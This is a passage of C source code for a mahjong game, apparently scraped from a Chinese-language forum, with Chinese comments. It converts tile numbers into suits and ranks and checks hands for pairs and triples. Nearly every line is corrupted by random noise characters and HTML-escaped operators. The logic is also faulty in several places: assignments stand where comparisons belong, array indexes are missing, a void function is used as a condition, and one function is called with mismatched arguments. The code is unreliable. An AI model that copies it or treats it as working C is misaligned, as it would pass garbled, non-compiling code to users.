3 S- N# {* H; T& z+ ^( n" A6 a) W/ Celse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)0 ^; A) h& X2 a2 q3 r7 u5 ?% x0 w
logoo=4;! @9 z' e( T, s! h- X( r; e7 u0 f* r
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
- g: s. y6 H( k  r! ulogoo=5;
% \+ c5 n8 v" e0 relse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
- T( j, |& e1 M" b/ y4 h7 Vlogoo=6;! b  J# h$ {/ j8 m
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)7 |/ A0 ]- U" s+ O6 J# e7 T& O1 x9 @
logoo=7;
& `' O: ~* R( K" O8 d" @else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
* R8 `1 Z6 ]# b4 s, zlogoo=8;
8 d$ [  q, ~& C- K( L( Y, t# Kelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
8 C  _1 {; ]- J2 a( E8 nlogoo=9;3 ~0 j" t  \  \% F# V9 A/ V
}
- C) z3 s1 X) ?0 ~1 W3 w( helse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
3 a3 h& {4 j, S% C/ o% o: R' e{& Y2 q/ S9 J: H8 y
logo=3;6 u3 V$ U9 C  ]
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
! u6 ]1 w* Z) K' @  B; m4 elogoo=1;
' k9 }1 z9 a) g; s1 q- Celse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
3 }# a9 A9 i0 U0 l7 _" t" clogoo=2;
+ w& i8 J* Z' J/ f6 ?else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
& m/ n* b* f6 H, ^4 V$ ~7 elogoo=3;4 J2 [8 C) S  Z
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
! Y8 Z" y5 B, b/ q+ Plogoo=4;
, N5 m7 [( N2 O$ @0 P! Qelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
$ M. V+ d3 X4 Xlogoo=5;7 r% d4 C, j4 n2 t8 U# y* O# u
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)" C  n- t- p) G1 _
logoo=6;
6 d5 d& K- s9 E8 Selse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
* t  ~) J% d" x# D1 _9 l3 X) N, ^logoo=7;5 J0 J& m" h$ c: V5 E. h! z
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
; F% r7 o1 h. ?+ d8 A: h& X9 G* Plogoo=8;
4 e9 ~" \& F2 T+ `2 O" K) p' {else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)* m4 _6 h! k/ q  x
logoo=9;
( _5 o) H, O3 N! V, ]3 A1 i}6 E1 Z% ]! i5 }$ [
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
. ^+ o& v4 u; i{
, E0 V0 |/ B  I; I* [% k- Qlogo=4;
6 S' k, V: o2 L! R, G2 E- Yif(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)0 j9 R& D' ^- k2 [2 s
logoo=1;. Z/ s! h% G5 L" {% `0 P. t4 ~! R
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
& f/ y8 f1 A: Q# _! N3 f, plogoo=2;
) y+ C. p1 J- S% H: Zelse if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)4 b! I2 ~2 X; I- h' j
logoo=3;
2 [! |) f/ g+ N! C& w8 v% `& ?8 N' Welse if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)) j( M) k+ t6 m( l: E9 v
logoo=4;; N; E3 w9 e( ~/ A5 K. |1 |
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
2 ~& H$ f7 b- [: V' z8 |: zlogoo=5;
' R% ?/ T0 u/ J& U' L7 J& relse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)0 `  m: ]7 r' C! M* w1 g
logoo=6;3 B3 [, E( @: H7 [& p& ]; n
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
4 i" o0 J5 K, X7 r0 i, [0 o9 U% flogoo=7;
2 n  N  l" z6 L$ j* h/ u}
1 Q* e/ T  {$ H: F  `  N0 q* hwhile(b&lt;=me.m)( G7 o  l2 S2 [
{( W1 ^- l5 @) j
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
$ c( F5 u3 Z% G8 E{- N. V! N  m. |$ H. n9 }5 o
lg=1;
$ ]7 E. t/ u$ o) a2 X! \me.pp.d[0]=1;/ k, e$ ~2 O/ L9 {4 {; z
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)8 O1 V" O: C& J- G2 }
{
$ j9 T3 k7 d6 @/ v# }lgg=1;
) p; D9 I& @, o% _, i* Wme.pp.d[1]=1;8 q4 d8 H" S$ ?( X
}" ^  E) N+ h& n" j% ~9 h  k
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)! s/ k8 X# b' r$ q8 i' p0 \
{
0 R. G; o) t6 Flgg=2;
( S* t- g# Y/ M2 Eme.pp.d[1]=2;
% C! f; a0 b4 ?}+ R* P% }  A$ k) |  {
else if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
4 L( v6 H2 V' `6 Q* h6 B{
, z6 X5 ^4 n5 \* j! P! [lgg=3;
8 R1 W3 w' U7 Y1 N7 x; D; t3 Hme.pp.d[1]=3;
+ }6 J* l$ d7 V% n}
+ T9 L& E. s  W3 R' V5 ]/ jelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12); l, k( y; a) u/ S  B. [" ]% O& u
{1 Y% K6 E' y0 k1 R
lgg=4;/ D3 k% N. e' [" }$ W. c. N+ G
me.pp.d[1]=4;. [% A( I" ~9 ?4 `2 n# \
}
; o& T1 l3 C& |! Celse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)% I7 T6 m! F- |" e
{
# k8 y( L6 J- Ulgg=5;
* |; Q: c9 ?& V$ G- L* Cme.pp.d[1]=5;
+ b* q: V. d& O$ C" }) e}) K2 H7 \2 [$ W9 p( L: E
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)( L3 j; k4 J% X) Z
{
& I8 u8 n* r! z5 {$ v7 Qlgg=6;. I. k; L6 W* f6 L
me.pp.d[1]=6;0 G( a! G( \) h" r6 V; ?
}
& _# ?+ s  T' U2 t& x6 velse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)7 N4 |9 t$ Y* b( \- G  b# R1 w
{1 \& b3 x; A8 H( P2 P
lgg=7;+ @0 S8 D6 C) H0 o
me.pp.d[1]=7;
7 |0 G3 S! r( \1 j" i}
/ G# h# _, `# e8 a* `else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
; P: i3 B  D" n$ Q$ o7 a1 Y{. h4 l2 V3 y# D! u; ^  N
lgg=8;. H  a& N# Z' |6 _9 [; Q$ L4 f8 X4 y( f
me.pp.d[1]=8;
- \, H/ t6 ]* w1 O9 J4 Y' }: X; A- P}
- m0 S. X7 h2 X* b4 xelse if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)0 o  u5 d( ^4 h- h4 y; o( L/ N
{
5 u2 h, j+ b. W. b4 A3 l/ K1 Z1 Olgg=9;
) r6 Z! j( C3 rme.pp.d[1]=9;. R/ h; q( p& n9 o: f$ V7 R
}  w# R# H/ q. }' w
}: t6 r1 C- X: M  x
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
- [4 j' L: N  E6 N; M: ]{
! b  L9 C, B  i" Z5 F, Hlg=2;
! o- c) Q( a( n2 m& }) O4 fme.pp.d[0]=2;- k- p* z7 `* _9 _; L$ W" U& Q
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
' o9 V% [4 K' R+ _1 K# X. ^{# m/ q1 Z! g" ]
lgg=1;, a0 }7 N) W* w
me.pp.d[1]=1;
+ @. Y6 x) t" H6 r}
. p/ I4 r8 e7 x8 m( `; T$ _' ~else if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)! _  e5 b; p' e% s. r# [% t
{
* T/ ~0 Y7 i: w$ }6 O5 X4 dlgg=2;; m6 J' s6 O) b7 t( ~! a; ^
me.pp.d[1]=2;
5 t, q$ x: m% P# V9 L}- T7 X, `, v, q/ ^/ h
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
9 g! V# y0 k# Z) H{0 i% I% d7 g1 R
lgg=3;  e( o$ J3 F5 h' A' h. t
me.pp.d[1]=3;
% b! \3 f9 _" V( e; }}
7 F% p, \& G; c% ?1 b' F8 ?else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)& a  Q* b- s$ E1 N0 ~0 s7 T/ K# m5 u
{
  ?' c; G2 P5 n- ]( P  zlgg=4;
$ E) ?! T) j% R' I& p8 Y; `me.pp.d[1]=4;8 S' N3 [9 M  n6 P( i. J
}* T3 I& ]- H5 t6 R& Z/ c
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)3 n* v) _+ F7 o  N
{
$ A$ |0 i1 ~& @) n5 b) {; D+ B  Ilgg=5;8 C9 h3 d; q6 d+ ?0 e
me.pp.d[1]=5;
' \  {: W8 M$ b$ C3 @}5 s% }3 u" p. m8 W- l! y; G
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
4 h0 J4 [; G' Q7 ?5 E{
' S, d4 }* _0 d" e4 zlgg=6;
! F  z  v. n5 j$ I) v: n6 ~& }me.pp.d[1]=6;, F% x+ m4 y" \7 i( o- r
}6 G3 E4 ~. K! U) d! e6 U0 `
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
9 w1 i" x7 e; X) {/ ]# S; \{1 O% U9 V: x7 n6 w, i
lgg=7;
( h3 e; {% }0 j" G7 w: J+ Mme.pp.d[1]=7;
3 t+ L. {7 c1 ]3 Z) P0 G# Q' Q- n}
3 q" O& l0 g, o- E' L+ selse if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
, n, |- X* Y. d' V2 u. W1 b4 j! i1 i{" S3 e; J5 x+ k. |6 ?: `4 L3 c
lgg=8;
" b5 @' K# M3 K2 [1 Rme.pp.d[1]=8;
) @% i4 d/ O6 ?" A( @; R}
" M: x  _. n& h; E( o: `& j+ |else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)) q" m. @9 s' e( {
{
9 Z$ B4 ]# k, algg=9;
2 l' A" d: h; R3 E% m4 }me.pp.d[1]=9;. F+ z; t; t  d: P( x4 R
}
' R1 p9 |: n: x: X}+ Y# I; V, i" R. M" z
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
; W2 d! z7 _" m' {7 v' L9 }6 O5 s! v{
) S2 s, z. F: O5 rlg=3;
2 a3 {0 G" V2 q7 b1 e" }, ^2 N6 vme.pp.d[0]=3;  X/ {. J; ?& |
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
" q; t& K7 V: F  m  p{
4 Q5 E' ~4 R: s3 Mlgg=1;
6 @- d# [7 K3 `) ^9 B  w5 Rme.pp.d[1]=1;& W6 T2 \2 Q. {# N7 Y1 O
}
2 X8 k& c! [+ U; P+ T4 _6 ielse if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
! |- ~$ u" ?. n# @2 p, f0 f1 m{
, ~$ g% J1 R6 F2 G% Z( R; wlgg=2;; ~; E+ t9 U* e. j
me.pp.d[1]=2;! a  e" Q! y/ `, x
}9 C7 g$ L. Q1 y4 h! I
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
2 F. L% N. r9 O/ [/ m{
) |. `" L* ~& rlgg=3;$ h& i0 z  }- S9 ^
me.pp.d[1]=3;; Y9 ~- H' r# |+ d! O
}
$ i- D& y/ T. v- V2 Belse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)4 M1 Q0 m7 @$ Q" u/ @
{; `2 b( ?/ J* r0 J/ _
lgg=4;& q; _8 b1 Y( S" o% Y
me.pp.d[1]=4;
8 i/ S- a3 H2 j}; l& E$ z9 J4 _% w+ J! w" v
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
+ S5 ^) @2 I! U7 _0 v; c  B{
7 t# U0 O& O1 g  E0 d; I# N% zlgg=5;7 g# A$ b2 u  x* Z
me.pp.d[1]=5;$ z/ y6 ^0 ?' F
}+ r/ o$ n& z1 d9 O: x9 {3 A
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)2 w7 V% l7 J% g' F" ~
{
, m% H* p3 S8 m/ Z+ l$ y& Hlgg=6;
- L, |* ]% k- _5 \& x" K# v" x& Mme.pp.d[1]=6;: b( s! Q3 r" {8 M, }& H
}
" D/ K$ w2 P! A5 |$ @% M) _else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)8 e$ {/ j6 J3 i2 @1 K1 l  ]; |
{
) T3 V0 P! C2 I6 _( ~: llgg=7;4 _' @9 r5 I; `
me.pp.d[1]=7;
, C5 s4 @  X0 s2 g5 D}
5 W$ C. A- H$ lelse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
& l8 L! C/ i! X+ O{0 k0 ]# W: s# H2 A
lgg=8;
& c5 t" P/ [* @  y/ Sme.pp.d[1]=8;) S4 o) N5 Z# Z' T8 k8 {; L$ e
}( l1 Z1 F+ C4 z3 ?
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
4 O/ ~0 E& A# I3 q{. D8 h; f' Z$ l. j
lgg=9;7 I  T3 e  p$ O8 ?
me.pp.d[1]=9;% }: H% b3 o/ R& }# R
}
! |! s4 F3 F2 c$ J# y}8 E9 G1 F7 D" g. n8 J
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)# Y9 j- n6 v, L/ f+ r4 D8 T$ h3 N
{
% Y. W- _! n: Wlg=4;
3 @$ S( o7 `6 o% {% nme.pp.d[0]=4;
4 M" ~% g" @! t+ aif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
# T0 [6 e) Y$ \% i7 D{2 u2 }1 T  H$ E2 n
lgg=1;' H& ]: B2 m0 k5 B" P
me.pp.d[1]=1;
4 o2 f4 W: R, y3 C/ R1 i}
. X7 N* D( t1 ]5 _: Q; {1 R; x- y4 N0 Jelse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
# l: I" t" W' ]. z& i0 N$ @{
' K% h# M8 v6 G7 a* slgg=2;
2 S% w! G7 ?0 t! ]me.pp.d[1]=2;
4 S9 E8 D. i2 }}
1 C  ]  R1 Z: K& f! r# i, jelse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116), X  X8 i) w2 J6 C9 X$ i
{
! I  ^% q+ L7 z* b7 ^$ olgg=3;2 D' J+ M+ k) |, l" [; x' x3 p
me.pp.d[1]=3;  l1 u# q5 k  n8 ?8 E! e
}
& q( ^* |: |: C3 @% Q9 T- Telse if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120); b2 H* w) s# p# E4 x
{
+ w' K+ n9 Q+ b4 C& }3 k  xlgg=4;7 p( x. C; r/ ~
me.pp.d[1]=4;
% ~& {/ ~. ?, }- Y+ |, ~& z}
+ k. s0 z- f9 D4 P; g: J: g- j2 Lelse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124), h, ~7 o' A, s1 J
{
! m& |: v) f5 p9 V7 ^/ U* Tlgg=5;
2 W6 E7 @6 d! E: j2 _" A  n  B6 Fme.pp.d[1]=5;. L# f, O" o7 E7 r( N, J& O
}
! U! `& v" w# p. Q1 D2 Lelse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
: U. P. q, ~+ @' s7 k5 u{
3 }' T" [3 {$ \2 r- [; g: vlgg=6;
+ x# y' i  I9 {5 R# X1 h/ T- Z, W: Zme.pp.d[1]=6;; y* a$ Y6 e- m5 ~
}( }# y% h$ V9 @3 X2 _0 {
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)7 |2 U: @# q: X6 u  ^; t0 ]4 j( H$ Q; @
{) p& o2 q& V  ]3 t& K% H/ B! p0 w
lgg=7;
0 r! B/ x; ^  a- i/ {+ L$ tme.pp.d[1]=7;9 I6 y, y4 C' a) S5 A2 q
}
: p5 b0 L7 M' V" U) W$ f}
9 M9 c, T( b9 \+ M}& h+ L% {3 P; z9 r$ b$ A
}8 K' }. E( D! D( Z# S% z0 ~( T, ~
void istwo(testt)1 {, M. L4 j% u8 Q: X) W0 ]3 O
int testt[];
7 I1 o: j( u( i. `2 g1 b9 t8 O1 \{ if(testt[0]==testt[1])- g5 s1 A2 O% {; v1 n" Q' ^
second++;
. p2 G" x9 e0 k1 p9 k}
& x7 s* o. }  Z' t/ U% Wvoid isthree(testt,n)
. k+ o8 `, q+ z* Iint testt[],n=0;& l: t) P) @3 I% X6 |
{ int i,j,flage=0,lianx=0,same=0;. k1 B8 G7 K- E7 e# L# ^
n=n/3;9 D1 e( l/ f$ v3 ]. N3 i$ \
for(j=0;j&lt;n;j++)7 G8 t2 f) ^1 F8 _  j
{9 |6 |  A* \  n. O2 Y
for(i=j*3;i&lt;2+j*3;i++)7 T, z" ~0 u& M# z  @6 |; Q8 f
{3 ]0 a* i2 A- K% n2 ?: Q
if(testt==testt[i+1])+ S7 U$ Z+ ~3 B/ ~
same++;
" Y6 n% i- o+ L  V! ]/ j& \if(testt[i+1]-testt==1)  j; M! i  h( h  T9 q! H5 Z! q2 a
lianx++;
6 s4 g* U$ ?; v}
1 y! C6 |/ x& u, K5 rif(same==2)& J! ]* B  M/ r, |; Y+ o
threes++;7 W* N6 E' \6 b! Y2 ?- A# d1 ~. P
if(lianx==2)1 ?  u) L, y  X& a! p
threes++;/ a/ X8 t9 w' r1 s
same=0;4 f- T3 C5 R' Z+ \2 w6 ]
lianx=0;$ M) M  m. k. K
}
# t; A( L5 L( H' D0 {" j7 E}+ A! X8 s8 B+ A& T4 _
void panduan() /*本程序的精髓*/
/ i' F, n* v4 w0 X9 Z3 Q$ r& ^7 Q( V{int data[14];
( L8 x( O/ s! }: B; N3 Yint pw[14];2 A) b/ C5 @7 _$ x# S* a! C
int pt[14];
3 n1 Y2 n8 M# u7 ]) m! W9 A+ hint pi[14];
0 @& k: r+ c/ U: Cint pf[14];
0 {9 s1 m, `9 R! z1 c6 U( \int test[12];
" ]) m7 ?+ _% E/ {4 Uint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
% T" T  ]2 q- P  jfor(jj=0;jj&lt;=me.m;jj++)
# d# y% N$ ~. a7 d, N{
- d6 i, }" @0 bif(me.pp[jj].d[0]==1)+ D$ ^- k: B% h5 O0 W) W
data[jj]=me.pp[jj].d[1];
  E& V8 l8 M, a1 H1 p) ~. {) Fif(me.pp[jj].d[0]==2)
0 Q6 A% S/ E2 f+ D  N: R% Kdata[jj]=me.pp[jj].d[1]+10;
# f3 V: v& g8 z6 [if(me.pp[jj].d[0]==3)0 Y* f3 f# I' v2 B& E3 p; Q
data[jj]=me.pp[jj].d[1]+20;# M! ?: [; A" F0 n5 V& C
if(me.pp[jj].d[0]==4)- p) }& ]0 O+ I7 e0 Y
data[jj]=me.pp[jj].d[1]+30;5 x# k3 W9 L# {" p) b
}
! N4 u$ U  c: d0 E- ?* G7 cif(logo==2)
$ _" z$ Q; c7 m: R7 Pw=logoo+10;
5 a. c7 W7 B- X8 i! R+ Yif(logo==3)  O9 u, O) d2 q0 v5 R( |
w=logoo+20;, M+ m# _# K) y
if(logo==4). u8 N& J# y9 O4 U9 C0 e0 E) z0 W
w=logoo+30;
3 P9 A3 s- s- U1 z# Jdata[computer.m+1]=w;
* I+ \/ z+ O3 V) {for(mm=0;mm&lt;=computer.m;mm++)& M/ j9 d. C, b7 A: F. Q
for(nn=mm;nn&lt;=computer.m;nn++)
/ r/ i. v1 B. {  N- \4 N, z. F3 Lif(data[mm]&gt;data[nn+1])
3 p9 T4 {8 W6 c{5 ~6 w0 x; G, Q! c# ?
tpp=data[mm];
/ A! a8 C6 O5 gdata[mm]=data[nn+1];9 L. ]4 h* A. z( m* ]; j) V
data[nn+1]=tpp;, n" E4 `- `$ D) R
}
1 R; d- E4 x' \# _, K1 a  K/ Glp=0;
8 ^: N* V! `$ bwhile(lp&lt;=computer.m)4 k) S  v  I, L" H
{ if(data[lp]&lt;10)1 W) S5 i* V) z$ B% K# |9 v- T$ p
pw[ww++]=data[lp];
/ f6 A; g! G9 M9 Q% qif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)7 x9 _: b: B2 l, v* g. L
pt[tt++]=data[lp];7 O# e5 i# w: l4 }
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
3 K' g9 y3 s& I: M1 Xpi[ii++]=data[lp];
7 a' s5 q" v4 ]3 oif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
* o; B4 r  |# H; \pf[ff++]=data[lp];+ M5 b1 ~* m/ G4 ~- S
lp++;- r* D+ n, B; o4 T
}# q3 ?7 Q, k8 p5 X7 L% u9 g0 {
if(ww==2)
" n" P) f! r4 Z7 D$ Mistwo(pw);+ d1 q9 n! x( P' C  M
else if(ww==3)6 |$ i& K: Q! W1 ^; Z0 y
isthree(pw,ww);8 m  w* {4 E/ e, a5 B
else if(ww==5)! S! U% Q1 D. S- v# U, K
/*pw[5]原始牌数组,假设已经升序排列*/
& N2 p9 ^7 n) U/*test[3]用来放置测试牌的数组*/
& H4 ]; Y3 s: e: Wfor(i=0;i&lt;4;i++)9 L4 W" E2 z) m& q- Q0 V
{
. {, v* D6 j# c$ F$ I4 pfor(j=0;j&lt;2;j++)" F- y7 d' z4 h
{test[j]=pw[i+j];
' m; I4 R: V* O/ Y! Q! i}: }& o- s- b) k. j, t& F' k
if(istwo(test))
! _! M# U3 t/ w% ^; d3 h{ ill=0;
" X1 m' e; v0 y! S( pfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
; y9 w5 r4 O' g{if(kl==i)& I2 R7 ~/ e$ v7 {# G4 X. F! M
{
: M" Z. f* @' h8 ]" D6 B/ D7 D8 akl=kl+2;9 Z! }* z2 B1 y* ]: P
if(kl==5)
6 f3 ?" l1 M2 G, `2 n* L( Kbreak;
( }* c( n6 f6 p5 t+ L" j}
* x5 u- b- y  }test[ill++]=pw[kl];5 {: l" f! `7 m  @1 _
}% Q! j/ X- O2 a1 q$ W" m
isthree(test);' @0 l3 g3 }: W# |3 s/ s
}) a( Z2 s  P8 c' k+ N
}
2 H- h4 ?5 A3 Aelse if(ww==6)
6 W3 |8 P1 X* Y8 b8 d# aisthree(pw,ww);
) J' h! w' H$ f, f' O5 jelse if(ww==8)3 o% c! a) S8 Z  i$ j1 f
for(i=0;i&lt;7;i++)
  a) W3 T, d+ Q, x  k1 Z$ }+ x{
' x, g, R% ~. D. F$ c0 Lfor(j=0;j&lt;2;j++): ?& o% C& e! y$ @1 Q
{test[j]=pw[i+j]; $ A; P8 _. U/ I2 D; g6 ?" z8 J
}! g9 m9 I1 }) F* H
if(istwo(test))
! s: `1 J7 z+ [# r/ l" W{ ill=0;
! F9 {% Y, Y4 b( |& `  C3 M2 z7 afor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
! @8 p  t. q9 ?1 R, L* ?- v2 X{if(kl==i)( D% K2 S1 a5 R! g; P2 e# l
{
5 f5 F- j* N: ckl=kl+2;
# z. ]: n$ Q+ l2 zif(kl==8)8 ~' _& ^4 q3 u0 j3 X( ?$ O
break;
$ G/ z4 x0 i3 v4 X8 j: Q7 _}
- u/ [! f2 F+ L/ `6 I% I6 @test[ill++]=pw[kl];) |; Y0 B  x7 q  F
}
' g* m5 x! c- F9 I0 v* W1 pisthree(test,ww-2); / o% s9 @, r4 E0 U$ s9 Z
}
# z/ C7 K* v' c: b  S: d. s! m} - _7 y: ?; E, f
else if(ww==9)' S3 J& _, x0 ~: M
isthree(pw,ww);
9 U. A3 }# W3 p4 x9 Pelse if(ww==11), x1 G- O8 C( f
for(i=0;i&lt;10;i++)3 v' [" D0 ]7 Y# p5 v1 q6 B! Q' H
{
+ d' j; p; W% V* g" ^! M% \for(j=0;j&lt;2;j++)+ T! L- \3 d. c2 M
{test[j]=pw[i+j]; 7 @, S  G% z& L* V- G$ A$ j
}
: ]( A/ `' e+ f- L- x8 fif(istwo(test))
' E" i- C6 r  n9 i{ ill=0;
3 J9 N. w4 `9 Nfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/5 E/ l$ L, S! \3 P: @" p$ S
{if(kl==i)
+ H: }! M6 r6 J# e9 m{
1 e& S* |) `$ d9 N. d- u  Tkl=kl+2;1 U% f# R& L6 Q3 r" D
if(kl==11)
; d" E  |. }* Hbreak;2 O( b) t/ g0 z1 D
}
5 q1 H# o9 ?) }test[ill++]=pw[kl];( K: H$ U1 F  r% ^; [
}
6 g) n- F( ^* \" x( E; P2 C9 e# j* yisthree(test,ww-2); - ]/ l9 X1 B" J  Q# M5 |; ]+ p
}
1 H* e3 q; j( a$ |; Y+ V  g" p} , A0 G( ~4 e% B
else if(ww=12)
; w/ B, }$ z6 i9 d# n- tisthree(pw,ww);
: h/ h  G& u3 F" Telse if(ww=14)4 J/ T1 w% g: O% y5 Y, J
for(i=0;i&lt;13;i++)
# t& M5 R6 P4 M{
% d" M4 k0 t0 S/ Z2 sfor(j=0;j&lt;2;j++)
* l7 D; Y9 @2 y) k+ D{test[j]=pw[i+j];. `9 O0 E9 n; E7 ^$ p$ p, A
}
+ o4 G" H' G/ G8 w1 _if(istwo(test))9 M" {$ D% R- F1 [) n1 ?( A
{ ill=0;
- [" }; V- \1 @; j' m; jfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
2 |) k" M. m: B* v+ D{if(kl==i)
8 f8 S' K4 B( l1 }{
7 `5 b+ r8 B5 O; I! ekl=kl+2;  |$ r- w) R- ?! \# d1 H. _5 {0 ^
if(kl==14)# O; W& z4 x9 k. X" g( X$ D. e8 u
break;9 _' a4 @2 d4 ^) U# s: d7 [
}% K, E" M9 v& [! W# {( c4 t; w
test[ill++]=pw[kl];  Y, F, \3 m& W  K4 W  M% s
}, N- C5 I9 y3 f7 k. F% j
isthree(test,ww-2); ( D' t& \7 G. E/ c: C
}
) m. H# b9 n3 z. U# ~% `- ~# B( Z( `}
+ z  E! c. Y- I3 Dif(tt==2)
" `  c! ~4 R% ~2 S  H/ h8 d& {istwo(pt);( s, c7 R# F0 u1 m$ E
else if(tt==3)
1 c; L4 @) l! Disthree(pt,tt);
9 n: t+ D+ }( X( }. V) L4 @else if(tt==5)1 ]- {7 g( `8 U
/*pt[5]原始牌数组,假设已经升序排列*/+ w1 O' o) z- ?! [# z
/*test[3]用来放置测试牌的数组*/
" _/ g9 f+ y" `for(i=0;i&lt;4;i++)7 h& u# H7 I9 j0 W6 a9 |* a  I* V
{! A/ ?5 b- p, I- B
for(j=0;j&lt;2;j++)
" Y7 S* i+ [& F* {  }. b{test[j]=pt[i+j];
1 f! [0 ]- a0 p}
! O0 c- u% L" Nif(istwo(test))5 A5 R' }5 r8 ?
{ ill=0;9 _: n' y; P4 R- v6 n9 t
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/) M. A& {7 u' }" [; }
{if(kl==i)
0 Q) D7 I8 S# \6 z{
( p2 X! w2 m8 n8 D6 J! |+ skl=kl+2;8 z8 j, J2 _2 b
if(kl==5): X7 R$ \- }9 @6 j
break;
" h/ Z  C, w6 B) \% u" a( f' F}* @# o7 m5 B% V" \$ Q0 Z8 ~6 `) t
test[ill++]=pt[kl];
( B0 c4 T% C- k' P, z}) R# P. i! u$ |) J: `9 g
isthree(test);
$ Q2 D( T8 n8 a}
8 g7 h6 t: O1 b}
5 p9 L, h# A; P/ Oelse if(tt==6)# y5 O- i8 d# V$ a6 ^0 S
isthree(pt,tt);
8 j4 c. |+ i0 H# S( [# O5 Lelse if(tt==8)
5 K. ~6 Q2 e) o* rfor(i=0;i&lt;7;i++)0 l/ i) G. I9 j/ N2 R9 b6 m
{
  f; Y" `( w& O0 kfor(j=0;j&lt;2;j++)
* w+ x" j! ?8 K{test[j]=pt[i+j]; % g6 U3 i' J- a* C; {& s
}
7 D0 y* P' L: ?$ A% j+ k- Qif(istwo(test))+ u) M/ f( M7 `* [/ h. I. P
{ ill=0;1 D( k/ J- w& z2 y2 r
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
; D( e( f* o  p{if(kl==i)5 X5 }' [6 [3 ]
{9 m3 ]" c. m; _1 V$ C5 d
kl=kl+2;
2 b: `0 i# t6 l4 n' R, H6 S0 @if(kl==8)! ]- P8 @' v' k& F( B( ~: J
break;
- b4 D+ u9 B5 o) U0 C) x}
